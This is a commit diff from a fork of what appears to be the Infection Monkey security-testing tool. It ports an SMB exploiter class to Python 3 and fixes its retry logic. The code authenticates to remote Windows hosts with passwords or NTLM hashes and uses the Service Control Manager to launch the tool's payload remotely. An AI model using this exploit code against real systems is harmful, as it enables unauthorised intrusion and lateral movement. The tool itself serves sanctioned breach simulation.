forked from p15670423/monkey
Smb exploiter py3 and bugfix
This commit is contained in:
parent
09ba5f3930
commit
561f2f5d2f
|
@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter):
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
|
smb_conn = False
|
||||||
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_dport(port)
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
if hasattr(rpctransport, 'preferred_dialect'):
|
if hasattr(rpctransport, 'preferred_dialect'):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(user, password, '',
|
rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
|
||||||
lm_hash, ntlm_hash, None)
|
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
scmr_rpc = rpctransport.get_dce_rpc()
|
scmr_rpc = rpctransport.get_dce_rpc()
|
||||||
|
@ -127,11 +126,13 @@ class SmbExploiter(HostExploiter):
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
|
||||||
self.host, exc)
|
self.host, exc)
|
||||||
return False
|
continue
|
||||||
|
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not smb_conn:
|
||||||
|
return False
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
smb_conn.setTimeout(100000)
|
smb_conn.setTimeout(100000)
|
||||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
|
Loading…
Reference in New Issue